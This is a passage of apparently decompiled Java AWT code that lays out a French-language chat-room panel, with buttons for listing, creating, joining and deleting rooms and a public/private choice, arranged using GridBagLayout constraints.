        }
        a196 = new Button("Salons permanents");
        a197 = new Button("Salons publics");
        a198 = new Button("Cr\351er");
        a199 = new Button("Rejoindre");
        a200 = new Button("Rejoindre");
        a201 = new Button("Corbeille");
        a201.setBackground(Color.orange);
        a204 = new Label("Type du salon :");
        a205 = new Label("Nom du salon :");
        a206 = new Label("Nom du salon :");
        a192 = new CaraLabelPanel("Listes des salons");
        a193 = new CaraLabelPanel("Cr\351ation d'un salon");
        a194 = new CaraLabelPanel("Rejoindre un salon priv\351");
        a202[0] = new Checkbox("Public", a203, true);
        a202[1] = new Checkbox("Priv\351", a203, false);
        a185.setLayout(new BorderLayout(0, 0));
        a185.add("Center", a125);
        a185.add("East", a195);
        GridBagLayout gridbaglayout6 = new GridBagLayout();
        a189.setLayout(gridbaglayout6);
        GridBagConstraints gridbagconstraints6 = new GridBagConstraints();
        gridbagconstraints6.gridx = 0;
        gridbagconstraints6.gridy = 0;
        gridbagconstraints6.gridwidth = 1;
        gridbagconstraints6.weightx = 0.0D;
        gridbagconstraints6.weighty = 0.0D;
        gridbagconstraints6.fill = 1;
        gridbagconstraints6.insets.top = 4;
        gridbagconstraints6.insets.left = 4;
        gridbagconstraints6.insets.bottom = 4;
        gridbagconstraints6.insets.right = 4;
        gridbaglayout6.setConstraints(a196, gridbagconstraints6);
        a189.add(a196);
        gridbagconstraints6.gridx = 1;
        gridbaglayout6.setConstraints(a197, gridbagconstraints6);
        a189.add(a197);
        gridbagconstraints6.gridx = 2;
        gridbagconstraints6.weightx = 1.0D;
        gridbagconstraints6.gridwidth = 1;
        gridbaglayout6.setConstraints(a187, gridbagconstraints6);
        a189.add(a187);
        gridbagconstraints6.gridx = 3;
        gridbagconstraints6.weightx = 0.0D;
        gridbagconstraints6.gridwidth = 2;
        gridbaglayout6.setConstraints(a188, gridbagconstraints6);
        a189.add(a188);
        gridbagconstraints6.gridx = 0;
        gridbagconstraints6.gridy = 1;
        gridbagconstraints6.gridwidth = 5;
        gridbagconstraints6.weighty = 1.0D;
        gridbagconstraints6.weightx = 1.0D;
        gridbaglayout6.setConstraints(a185, gridbagconstraints6);
        a189.add(a185);
        if(!a94)
        {
            gridbagconstraints6.gridx = 0;
            gridbagconstraints6.gridy = 2;
            gridbagconstraints6.gridwidth = 4;
            gridbagconstraints6.weighty = 0.0D;
            gridbagconstraints6.weightx = 1.0D;
            gridbaglayout6.setConstraints(a207, gridbagconstraints6);
            a189.add(a207);
            gridbagconstraints6.gridx = 4;
            gridbagconstraints6.gridwidth = 1;
            gridbagconstraints6.weightx = 0.0D;
            gridbaglayout6.setConstraints(a199, gridbagconstraints6);
            a189.add(a199);
        }
        else
        {
            gridbagconstraints6.gridx = 0;
            gridbagconstraints6.gridy = 2;
            gridbagconstraints6.gridwidth = 3;
            gridbagconstraints6.weighty = 0.0D;
            gridbagconstraints6.weightx = 1.0D;
            gridbaglayout6.setConstraints(a207, gridbagconstraints6);
            a189.add(a207);
            gridbagconstraints6.gridx = 3;
            gridbagconstraints6.gridwidth = 1;
            gridbagconstraints6.weightx = 0.0D;
            gridbaglayout6.setConstraints(a199, gridbagconstraints6);
            a189.add(a199);
            gridbagconstraints6.gridx = 4;
            gridbaglayout6.setConstraints(a201, gridbagconstraints6);
            a189.add(a201);
        }
        GridBagLayout gridbaglayout7 = new GridBagLayout();
        a191.setLayout(gridbaglayout7);
        GridBagConstraints gridbagconstraints7 = new GridBagConstraints();
        gridbagconstraints7.gridx = 1;
        gridbagconstraints7.gridy = 0;
        gridbagconstraints7.gridwidth = 1;
        gridbagconstraints7.weightx = 0.0D;
        gridbagconstraints7.weighty = 0.0D;
        gridbagconstraints7.fill = 1;
        gridbagconstraints7.insets.top = 4;
        gridbagconstraints7.insets.left = 4;
        gridbagconstraints7.insets.bottom = 4;
        gridbagconstrai